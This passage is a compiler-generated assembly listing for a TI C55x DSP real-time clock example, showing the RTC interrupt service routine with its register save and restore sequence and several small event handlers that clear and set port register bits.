.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 344,column 1,is_stmt,address _rtc_isr
.dwfde $C$DW$CIE, _rtc_isr
;*******************************************************************************
;* INTERRUPT NAME: rtc_isr *
;* *
;* Function Uses Regs : AC0,AC0,AC1,AC1,AC2,AC2,AC3,AC3,T0,T1,AR0,AR1,AR2, *
;* AR3,XAR3,AR4,SP,BKC,BK03,BK47,ST1,ST2,ST3,BRC0,RSA0, *
;* REA0,BRS1,BRC1,RSA1,REA1,CSR,RPTC,CDP,TRN0,TRN1, *
;* BSA01,BSA23,BSA45,BSA67,BSAC,CARRY,M40,SATA,SATD,RDM,*
;* FRCT,SMUL *
;* Save On Entry Regs : AC0,AC0,AC1,AC1,AC2,AC2,AC3,AC3,T0,T1,AR0,AR1,AR2, *
;* AR3,AR4,BKC,BK03,BK47,BRC0,RSA0,REA0,BRS1,BRC1,RSA1, *
;* REA1,CSR,RPTC,CDP,TRN0,TRN1,BSA01,BSA23,BSA45,BSA67, *
;* BSAC *
;*******************************************************************************
_rtc_isr:
.dwcfi cfa_offset, 3
.dwcfi save_reg_to_mem, 91, -3
AND #0xf91f, mmap(ST1_55)
OR #0x4100, mmap(ST1_55)
AND #0xfa00, mmap(ST2_55)
OR #0x8000, mmap(ST2_55)
PSH mmap(ST3_55)
.dwcfi cfa_offset, 4
.dwcfi save_reg_to_mem, 42, -4
PSH dbl(AC0)
.dwcfi cfa_offset, 5
.dwcfi save_reg_to_mem, 0, -5
.dwcfi cfa_offset, 6
.dwcfi save_reg_to_mem, 1, -6
PSH mmap(AC0G)
.dwcfi cfa_offset, 7
.dwcfi save_reg_to_mem, 2, -7
PSH dbl(AC1)
.dwcfi cfa_offset, 8
.dwcfi save_reg_to_mem, 3, -8
.dwcfi cfa_offset, 9
.dwcfi save_reg_to_mem, 4, -9
PSH mmap(AC1G)
.dwcfi cfa_offset, 10
.dwcfi save_reg_to_mem, 5, -10
PSH dbl(AC2)
.dwcfi cfa_offset, 11
.dwcfi save_reg_to_mem, 6, -11
.dwcfi cfa_offset, 12
.dwcfi save_reg_to_mem, 7, -12
PSH mmap(AC2G)
.dwcfi cfa_offset, 13
.dwcfi save_reg_to_mem, 8, -13
PSH dbl(AC3)
.dwcfi cfa_offset, 14
.dwcfi save_reg_to_mem, 9, -14
.dwcfi cfa_offset, 15
.dwcfi save_reg_to_mem, 10, -15
PSH mmap(AC3G)
.dwcfi cfa_offset, 16
.dwcfi save_reg_to_mem, 11, -16
PSH T0
.dwcfi cfa_offset, 17
.dwcfi save_reg_to_mem, 12, -17
PSH T1
.dwcfi cfa_offset, 18
.dwcfi save_reg_to_mem, 13, -18
PSHBOTH XAR0
.dwcfi cfa_offset, 19
.dwcfi save_reg_to_mem, 16, -19
PSHBOTH XAR1
.dwcfi cfa_offset, 20
.dwcfi save_reg_to_mem, 18, -20
PSHBOTH XAR2
.dwcfi cfa_offset, 21
.dwcfi save_reg_to_mem, 20, -21
PSHBOTH XAR3
.dwcfi cfa_offset, 22
.dwcfi save_reg_to_mem, 22, -22
PSHBOTH XAR4
.dwcfi cfa_offset, 23
.dwcfi save_reg_to_mem, 24, -23
PSH mmap(BKC)
.dwcfi cfa_offset, 24
.dwcfi save_reg_to_mem, 37, -24
PSH mmap(BK03)
.dwcfi cfa_offset, 25
.dwcfi save_reg_to_mem, 38, -25
PSH mmap(BK47)
.dwcfi cfa_offset, 26
.dwcfi save_reg_to_mem, 39, -26
PSH mmap(BRC0)
.dwcfi cfa_offset, 27
.dwcfi save_reg_to_mem, 47, -27
PSH mmap(RSA0L)
.dwcfi cfa_offset, 28
.dwcfi save_reg_to_mem, 48, -28
PSH mmap(RSA0H)
.dwcfi cfa_offset, 29
.dwcfi save_reg_to_mem, 49, -29
PSH mmap(REA0L)
.dwcfi cfa_offset, 30
.dwcfi save_reg_to_mem, 50, -30
PSH mmap(REA0H)
.dwcfi cfa_offset, 31
.dwcfi save_reg_to_mem, 51, -31
PSH mmap(BRS1)
.dwcfi cfa_offset, 32
.dwcfi save_reg_to_mem, 52, -32
PSH mmap(BRC1)
.dwcfi cfa_offset, 33
.dwcfi save_reg_to_mem, 53, -33
PSH mmap(RSA1L)
.dwcfi cfa_offset, 34
.dwcfi save_reg_to_mem, 54, -34
PSH mmap(RSA1H)
.dwcfi cfa_offset, 35
.dwcfi save_reg_to_mem, 55, -35
PSH mmap(REA1L)
.dwcfi cfa_offset, 36
.dwcfi save_reg_to_mem, 56, -36
PSH mmap(REA1H)
.dwcfi cfa_offset, 37
.dwcfi save_reg_to_mem, 57, -37
PSH mmap(CSR)
.dwcfi cfa_offset, 38
.dwcfi save_reg_to_mem, 58, -38
PSH mmap(RPTC)
.dwcfi cfa_offset, 39
.dwcfi save_reg_to_mem, 59, -39
PSHBOTH XCDP
.dwcfi cfa_offset, 40
.dwcfi save_reg_to_mem, 60, -40
PSH mmap(TRN0)
.dwcfi cfa_offset, 41
.dwcfi save_reg_to_mem, 62, -41
PSH mmap(TRN1)
.dwcfi cfa_offset, 42
.dwcfi save_reg_to_mem, 63, -42
PSH mmap(BSA01)
.dwcfi cfa_offset, 43
.dwcfi save_reg_to_mem, 64, -43
PSH mmap(BSA23)
.dwcfi cfa_offset, 44
.dwcfi save_reg_to_mem, 65, -44
PSH mmap(BSA45)
.dwcfi cfa_offset, 45
.dwcfi save_reg_to_mem, 66, -45
PSH mmap(BSA67)
.dwcfi cfa_offset, 46
.dwcfi save_reg_to_mem, 67, -46
PSH mmap(BSAC)
.dwcfi cfa_offset, 47
.dwcfi save_reg_to_mem, 68, -47
AMAR *SP(#0), XAR1
AND #0xfffe, mmap(SP)
PSH AR1
AADD #-1, SP
.dwcfi cfa_offset, 47
$C$DW$119 .dwtag DW_TAG_variable, DW_AT_name("rtcEventType")
.dwattr $C$DW$119, DW_AT_TI_symbol_name("_rtcEventType")
.dwattr $C$DW$119, DW_AT_type(*$C$DW$T$38)
.dwattr $C$DW$119, DW_AT_location[DW_OP_bregx 0x24 0]
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 349,column 5,is_stmt
BSET ST3_SMUL
BCLR ST3_SATA
$C$DW$120 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$120, DW_AT_low_pc(0x00)
.dwattr $C$DW$120, DW_AT_name("_RTC_getEventId")
.dwattr $C$DW$120, DW_AT_TI_call
CALL #_RTC_getEventId ; |349|
; call occurs [#_RTC_getEventId] ; |349|
MOV T0, *SP(#0) ; |349|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 351,column 5,is_stmt
SFTL T0, #1 ; |351|
AMOV #_rtcDispatchTable, XAR3 ; |351|
MOV dbl(*AR3(T0)), AC0 ; |351|
BCC $C$L15,AC0 == #0 ; |351|
; branchcc occurs ; |351|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 353,column 10,is_stmt
MOV *SP(#0), T0 ; |353|
SFTL T0, #1 ; |353|
MOV dbl(*AR3(T0)), AC0 ; |353|
$C$DW$121 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$121, DW_AT_low_pc(0x00)
.dwattr $C$DW$121, DW_AT_TI_call
.dwattr $C$DW$121, DW_AT_TI_indirect
CALL AC0 ; |353|
; call occurs [AC0] ; |353|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 403,column 1,is_stmt
$C$L15:
AADD #1, SP
.dwcfi cfa_offset, 47
POP mmap(SP)
POP mmap(BSAC)
.dwcfi restore_reg, 68
.dwcfi cfa_offset, 46
POP mmap(BSA67)
.dwcfi restore_reg, 67
.dwcfi cfa_offset, 45
POP mmap(BSA45)
.dwcfi restore_reg, 66
.dwcfi cfa_offset, 44
POP mmap(BSA23)
.dwcfi restore_reg, 65
.dwcfi cfa_offset, 43
POP mmap(BSA01)
.dwcfi restore_reg, 64
.dwcfi cfa_offset, 42
POP mmap(TRN1)
.dwcfi restore_reg, 63
.dwcfi cfa_offset, 41
POP mmap(TRN0)
.dwcfi restore_reg, 62
.dwcfi cfa_offset, 40
POPBOTH XCDP
.dwcfi restore_reg, 60
.dwcfi cfa_offset, 39
POP mmap(RPTC)
.dwcfi restore_reg, 59
.dwcfi cfa_offset, 38
POP mmap(CSR)
.dwcfi restore_reg, 58
.dwcfi cfa_offset, 37
POP mmap(REA1H)
.dwcfi restore_reg, 57
.dwcfi cfa_offset, 36
POP mmap(REA1L)
.dwcfi restore_reg, 56
.dwcfi cfa_offset, 35
POP mmap(RSA1H)
.dwcfi restore_reg, 55
.dwcfi cfa_offset, 34
POP mmap(RSA1L)
.dwcfi restore_reg, 54
.dwcfi cfa_offset, 33
POP mmap(BRC1)
.dwcfi restore_reg, 53
.dwcfi cfa_offset, 32
POP mmap(BRS1)
.dwcfi restore_reg, 52
.dwcfi cfa_offset, 31
POP mmap(REA0H)
.dwcfi restore_reg, 51
.dwcfi cfa_offset, 30
POP mmap(REA0L)
.dwcfi restore_reg, 50
.dwcfi cfa_offset, 29
POP mmap(RSA0H)
.dwcfi restore_reg, 49
.dwcfi cfa_offset, 28
POP mmap(RSA0L)
.dwcfi restore_reg, 48
.dwcfi cfa_offset, 27
POP mmap(BRC0)
.dwcfi restore_reg, 47
.dwcfi cfa_offset, 26
POP mmap(BK47)
.dwcfi restore_reg, 39
.dwcfi cfa_offset, 25
POP mmap(BK03)
.dwcfi restore_reg, 38
.dwcfi cfa_offset, 24
POP mmap(BKC)
.dwcfi restore_reg, 37
.dwcfi cfa_offset, 23
POPBOTH XAR4
.dwcfi restore_reg, 24
.dwcfi cfa_offset, 22
POPBOTH XAR3
.dwcfi restore_reg, 22
.dwcfi cfa_offset, 21
POPBOTH XAR2
.dwcfi restore_reg, 20
.dwcfi cfa_offset, 20
POPBOTH XAR1
.dwcfi restore_reg, 18
.dwcfi cfa_offset, 19
POPBOTH XAR0
.dwcfi restore_reg, 16
.dwcfi cfa_offset, 18
POP T1
.dwcfi restore_reg, 13
.dwcfi cfa_offset, 17
POP T0
.dwcfi restore_reg, 12
.dwcfi cfa_offset, 16
POP mmap(AC3G)
.dwcfi restore_reg, 11
.dwcfi cfa_offset, 15
.dwcfi restore_reg, 10
.dwcfi cfa_offset, 14
POP dbl(AC3)
.dwcfi restore_reg, 9
.dwcfi cfa_offset, 13
POP mmap(AC2G)
.dwcfi restore_reg, 8
.dwcfi cfa_offset, 12
.dwcfi restore_reg, 7
.dwcfi cfa_offset, 11
POP dbl(AC2)
.dwcfi restore_reg, 6
.dwcfi cfa_offset, 10
POP mmap(AC1G)
.dwcfi restore_reg, 5
.dwcfi cfa_offset, 9
.dwcfi restore_reg, 4
.dwcfi cfa_offset, 8
POP dbl(AC1)
.dwcfi restore_reg, 3
.dwcfi cfa_offset, 7
POP mmap(AC0G)
.dwcfi restore_reg, 2
.dwcfi cfa_offset, 6
.dwcfi restore_reg, 1
.dwcfi cfa_offset, 5
POP dbl(AC0)
.dwcfi restore_reg, 0
.dwcfi cfa_offset, 4
POP mmap(ST3_55)
.dwcfi restore_reg, 43
.dwcfi cfa_offset, 3
$C$DW$122 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$122, DW_AT_low_pc(0x00)
.dwattr $C$DW$122, DW_AT_TI_return
RETI
; return occurs
.dwattr $C$DW$118, DW_AT_TI_end_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c")
.dwattr $C$DW$118, DW_AT_TI_end_line(0x193)
.dwattr $C$DW$118, DW_AT_TI_end_column(0x01)
.dwendentry
.dwendtag $C$DW$118
.sect ".text"
.align 4
.global _rtc_msIntc
$C$DW$123 .dwtag DW_TAG_subprogram, DW_AT_name("rtc_msIntc")
.dwattr $C$DW$123, DW_AT_low_pc(_rtc_msIntc)
.dwattr $C$DW$123, DW_AT_high_pc(0x00)
.dwattr $C$DW$123, DW_AT_TI_symbol_name("_rtc_msIntc")
.dwattr $C$DW$123, DW_AT_external
.dwattr $C$DW$123, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c")
.dwattr $C$DW$123, DW_AT_TI_begin_line(0x195)
.dwattr $C$DW$123, DW_AT_TI_begin_column(0x06)
.dwattr $C$DW$123, DW_AT_TI_max_frame_size(0x01)
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 406,column 1,is_stmt,address _rtc_msIntc
.dwfde $C$DW$CIE, _rtc_msIntc
;*******************************************************************************
;* FUNCTION NAME: rtc_msIntc *
;* *
;* Function Uses Regs : AR1,SP,M40,SATA,SATD,RDM,FRCT,SMUL *
;* Stack Frame : Compact (No Frame Pointer, w/ debug) *
;* Total Frame Size : 1 word *
;* (1 return address/alignment) *
;* Min System Stack : 1 word *
;*******************************************************************************
_rtc_msIntc:
.dwcfi cfa_offset, 1
.dwcfi save_reg_to_mem, 91, -1
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 407,column 5,is_stmt
MOV *port(#6432), AR1 ; |407|
BCLR @#0, AR1 ; |407|
BSET @#0, AR1 ; |407|
MOV AR1, *port(#6432) ; |407|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 408,column 1,is_stmt
$C$DW$124 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$124, DW_AT_low_pc(0x00)
.dwattr $C$DW$124, DW_AT_TI_return
RET
; return occurs
.dwattr $C$DW$123, DW_AT_TI_end_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c")
.dwattr $C$DW$123, DW_AT_TI_end_line(0x198)
.dwattr $C$DW$123, DW_AT_TI_end_column(0x01)
.dwendentry
.dwendtag $C$DW$123
.sect ".text"
.align 4
.global _rtc_secIntc
$C$DW$125 .dwtag DW_TAG_subprogram, DW_AT_name("rtc_secIntc")
.dwattr $C$DW$125, DW_AT_low_pc(_rtc_secIntc)
.dwattr $C$DW$125, DW_AT_high_pc(0x00)
.dwattr $C$DW$125, DW_AT_TI_symbol_name("_rtc_secIntc")
.dwattr $C$DW$125, DW_AT_external
.dwattr $C$DW$125, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c")
.dwattr $C$DW$125, DW_AT_TI_begin_line(0x19a)
.dwattr $C$DW$125, DW_AT_TI_begin_column(0x06)
.dwattr $C$DW$125, DW_AT_TI_max_frame_size(0x04)
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 411,column 1,is_stmt,address _rtc_secIntc
.dwfde $C$DW$CIE, _rtc_secIntc
;*******************************************************************************
;* FUNCTION NAME: rtc_secIntc *
;* *
;* Function Uses Regs : AR1,AR3,XAR3,SP,CARRY,M40,SATA,SATD,RDM,FRCT,SMUL *
;* Stack Frame : Compact (No Frame Pointer, w/ debug) *
;* Total Frame Size : 4 words *
;* (1 return address/alignment) *
;* (3 function parameters) *
;* Min System Stack : 1 word *
;*******************************************************************************
_rtc_secIntc:
.dwcfi cfa_offset, 1
.dwcfi save_reg_to_mem, 91, -1
AADD #-3, SP
.dwcfi cfa_offset, 4
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 412,column 5,is_stmt
MOV *port(#6432), AR1 ; |412|
BCLR @#1, AR1 ; |412|
BSET @#1, AR1 ; |412|
MOV AR1, *port(#6432) ; |412|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 413,column 2,is_stmt
ADD #1, *(#_secIntrCnt) ; |413|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 414,column 2,is_stmt
AMOV #$C$FSL30, XAR3 ; |414|
MOV XAR3, dbl(*SP(#0))
MOV *(#_secIntrCnt), AR1 ; |414|
MOV AR1, *SP(#2) ; |414|
$C$DW$126 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$126, DW_AT_low_pc(0x00)
.dwattr $C$DW$126, DW_AT_name("_printf")
.dwattr $C$DW$126, DW_AT_TI_call
CALL #_printf ; |414|
; call occurs [#_printf] ; |414|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 415,column 1,is_stmt
AADD #3, SP
.dwcfi cfa_offset, 1
$C$DW$127 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$127, DW_AT_low_pc(0x00)
.dwattr $C$DW$127, DW_AT_TI_return
RET
; return occurs
.dwattr $C$DW$125, DW_AT_TI_end_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c")
.dwattr $C$DW$125, DW_AT_TI_end_line(0x19f)
.dwattr $C$DW$125, DW_AT_TI_end_column(0x01)
.dwendentry
.dwendtag $C$DW$125
.sect ".text"
.align 4
.global _rtc_minIntc
$C$DW$128 .dwtag DW_TAG_subprogram, DW_AT_name("rtc_minIntc")
.dwattr $C$DW$128, DW_AT_low_pc(_rtc_minIntc)
.dwattr $C$DW$128, DW_AT_high_pc(0x00)
.dwattr $C$DW$128, DW_AT_TI_symbol_name("_rtc_minIntc")
.dwattr $C$DW$128, DW_AT_external
.dwattr $C$DW$128, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c")
.dwattr $C$DW$128, DW_AT_TI_begin_line(0x1a1)
.dwattr $C$DW$128, DW_AT_TI_begin_column(0x06)
.dwattr $C$DW$128, DW_AT_TI_max_frame_size(0x01)
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 418,column 1,is_stmt,address _rtc_minIntc
.dwfde $C$DW$CIE, _rtc_minIntc
;*******************************************************************************
;* FUNCTION NAME: rtc_minIntc *
;* *
;* Function Uses Regs : AR1,SP,M40,SATA,SATD,RDM,FRCT,SMUL *
;* Stack Frame : Compact (No Frame Pointer, w/ debug) *
;* Total Frame Size : 1 word *
;* (1 return address/alignment) *
;* Min System Stack : 1 word *
;*******************************************************************************
_rtc_minIntc:
.dwcfi cfa_offset, 1
.dwcfi save_reg_to_mem, 91, -1
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 419,column 5,is_stmt
MOV *port(#6432), AR1 ; |419|
BCLR @#2, AR1 ; |419|
BSET @#2, AR1 ; |419|
MOV AR1, *port(#6432) ; |419|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 420,column 1,is_stmt
$C$DW$129 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$129, DW_AT_low_pc(0x00)
.dwattr $C$DW$129, DW_AT_TI_return
RET
; return occurs
.dwattr $C$DW$128, DW_AT_TI_end_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c")
.dwattr $C$DW$128, DW_AT_TI_end_line(0x1a4)
.dwattr $C$DW$128, DW_AT_TI_end_column(0x01)
.dwendentry
.dwendtag $C$DW$128
.sect ".text"
.align 4
.global _rtc_hourIntc
$C$DW$130 .dwtag DW_TAG_subprogram, DW_AT_name("rtc_hourIntc")
.dwattr $C$DW$130, DW_AT_low_pc(_rtc_hourIntc)
.dwattr $C$DW$130, DW_AT_high_pc(0x00)
.dwattr $C$DW$130, DW_AT_TI_symbol_name("_rtc_hourIntc")
.dwattr $C$DW$130, DW_AT_external
.dwattr $C$DW$130, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c")
.dwattr $C$DW$130, DW_AT_TI_begin_line(0x1a6)
.dwattr $C$DW$130, DW_AT_TI_begin_column(0x06)
.dwattr $C$DW$130, DW_AT_TI_max_frame_size(0x01)
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 423,column 1,is_stmt,address _rtc_hourIntc
.dwfde $C$DW$CIE, _rtc_hourIntc
;*******************************************************************************
;* FUNCTION NAME: rtc_hourIntc *
;* *
;* Function Uses Regs : AR1,SP,M40,SATA,SATD,RDM,FRCT,SMUL *
;* Stack Frame : Compact (No Frame Pointer, w/ debug) *
;* Total Frame Size : 1 word *
;* (1 return address/alignment) *
;* Min System Stack : 1 word *
;*******************************************************************************
_rtc_hourIntc:
.dwcfi cfa_offset, 1
.dwcfi save_reg_to_mem, 91, -1
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 424,column 5,is_stmt
MOV *port(#6432), AR1 ; |424|
BCLR @#3, AR1 ; |424|
BSET @#3, AR1 ; |424|
MOV AR1, *port(#6432) ; |424|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 425,column 1,is_stmt
$C$DW$131 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$131, DW_AT_low_pc(0x00)
.dwattr $C$DW$131, DW_AT_TI_return
RET
; return occurs
.dwattr $C$DW$130, DW_AT_TI_end_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c")
.dwattr $C$DW$130, DW_AT_TI_end_line(0x1a9)
.dwattr $C$DW$130, DW_AT_TI_end_column(0x01)
.dwendentry
.dwendtag $C$DW$130
.sect ".text"
.align 4
.global _rtc_dayIntc
$C$DW$132 .dwtag DW_TAG_subprogram, DW_AT_name("rtc_dayIntc")
.dwattr $C$DW$132, DW_AT_low_pc(_rtc_dayIntc)
.dwattr $C$DW$132, DW_AT_high_pc(0x00)
.dwattr $C$DW$132, DW_AT_TI_symbol_name("_rtc_dayIntc")
.dwattr $C$DW$132, DW_AT_external
.dwattr $C$DW$132, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c")
.dwattr $C$DW$132, DW_AT_TI_begin_line(0x1ab)
.dwattr $C$DW$132, DW_AT_TI_begin_column(0x06)
.dwattr $C$DW$132, DW_AT_TI_max_frame_size(0x01)
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 428,column 1,is_stmt,address _rtc_dayIntc
.dwfde $C$DW$CIE, _rtc_dayIntc
;*******************************************************************************
;* FUNCTION NAME: rtc_dayIntc *
;* *
;* Function Uses Regs : AR1,SP,M40,SATA,SATD,RDM,FRCT,SMUL *
;* Stack Frame : Compact (No Frame Pointer, w/ debug) *
;* Total Frame Size : 1 word *
;* (1 return address/alignment) *
;* Min System Stack : 1 word *
;*******************************************************************************
_rtc_dayIntc:
.dwcfi cfa_offset, 1
.dwcfi save_reg_to_mem, 91, -1
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 429,column 5,is_stmt
MOV *port(#6432), AR1 ; |429|
BCLR @#4, AR1 ; |429|
BSET @#4, AR1 ; |429|
MOV AR1, *port(#6432) ; |429|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 430,column 1,is_stmt
$C$DW$133 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$133, DW_AT_low_pc(0x00)
.dwattr $C$DW$133, DW_AT_TI_return
RET
; return occurs
.dwattr $C$DW$132, DW_AT_TI_end_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c")
.dwattr $C$DW$132, DW_AT_TI_end_line(0x1ae)
.dwattr $C$DW$132, DW_AT_TI_end_column(0x01)
.dwendentry
.dwendtag $C$DW$132
.sect ".text"
.align 4
.global _rtc_extEvt
$C$DW$134 .dwtag DW_TAG_subprogram, DW_AT_name("rtc_extEvt")
.dwattr $C$DW$134, DW_AT_low_pc(_rtc_extEvt)
.dwattr $C$DW$134, DW_AT_high_pc(0x00)
.dwattr $C$DW$134, DW_AT_TI_symbol_name("_rtc_extEvt")
.dwattr $C$DW$134, DW_AT_external
.dwattr $C$DW$134, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c")
.dwattr $C$DW$134, DW_AT_TI_begin_line(0x1b0)
.dwattr $C$DW$134, DW_AT_TI_begin_column(0x06)
.dwattr $C$DW$134, DW_AT_TI_max_frame_size(0x01)
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 433,column 1,is_stmt,address _rtc_extEvt
.dwfde $C$DW$CIE, _rtc_extEvt
;*******************************************************************************
;* FUNCTION NAME: rtc_extEvt *
;* *
;* Function Uses Regs : AR1,SP,M40,SATA,SATD,RDM,FRCT,SMUL *
;* Stack Frame : Compact (No Frame Pointer, w/ debug) *
;* Total Frame Size : 1 word *
;* (1 return address/alignment) *
;* Min System Stack : 1 word *
;*******************************************************************************
_rtc_extEvt:
.dwcfi cfa_offset, 1
.dwcfi save_reg_to_mem, 91, -1
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 434,column 5,is_stmt
MOV *port(#6432), AR1 ; |434|
BCLR @#5, AR1 ; |434|
BSET @#5, AR1 ; |434|
MOV AR1, *port(#6432) ; |434|
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 435,column 1,is_stmt
$C$DW$135 .dwtag DW_TAG_TI_branch
.dwattr $C$DW$135, DW_AT_low_pc(0x00)
.dwattr $C$DW$135, DW_AT_TI_return
RET
; return occurs
.dwattr $C$DW$134, DW_AT_TI_end_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c")
.dwattr $C$DW$134, DW_AT_TI_end_line(0x1b3)
.dwattr $C$DW$134, DW_AT_TI_end_column(0x01)
.dwendentry
.dwendtag $C$DW$134
.sect ".text"
.align 4
.global _rtc_alarmEvt
$C$DW$136 .dwtag DW_TAG_subprogram, DW_AT_name("rtc_alarmEvt")
.dwattr $C$DW$136, DW_AT_low_pc(_rtc_alarmEvt)
.dwattr $C$DW$136, DW_AT_high_pc(0x00)
.dwattr $C$DW$136, DW_AT_TI_symbol_name("_rtc_alarmEvt")
.dwattr $C$DW$136, DW_AT_external
.dwattr $C$DW$136, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c")
.dwattr $C$DW$136, DW_AT_TI_begin_line(0x1b5)
.dwattr $C$DW$136, DW_AT_TI_begin_column(0x06)
.dwattr $C$DW$136, DW_AT_TI_max_frame_size(0x04)
.dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/rtc/CSL_RTC_Example/csl_rtc_example.c",line 438,column 1,is_stmt,address _rtc_alarmEvt
.dwfde $C$DW$CIE, _rtc_alarmEvt
;*******************************************************************************
;* FUNCTION NAME: rtc_alarmEvt *
;* *
;* Function Uses Regs : AR1,AR3,XAR3,SP,M40,SATA,SATD,RDM,FRCT,SMUL *
;* Stack Frame : Compact (No Frame Pointer, w/ debug) *
;* Total Frame Size : 4 words *
;* (2 return address/alignment) *
;* (2 function parameters) *
;* Min System Stack : 1 word *
;*******************************************************************************
_rtc_alarmEvt:
.dwcfi cfa_offset, 1
.dwcfi save_reg_to_mem, 91, -1
AADD #-3, SP
.dwcfi cfa_offset, 4
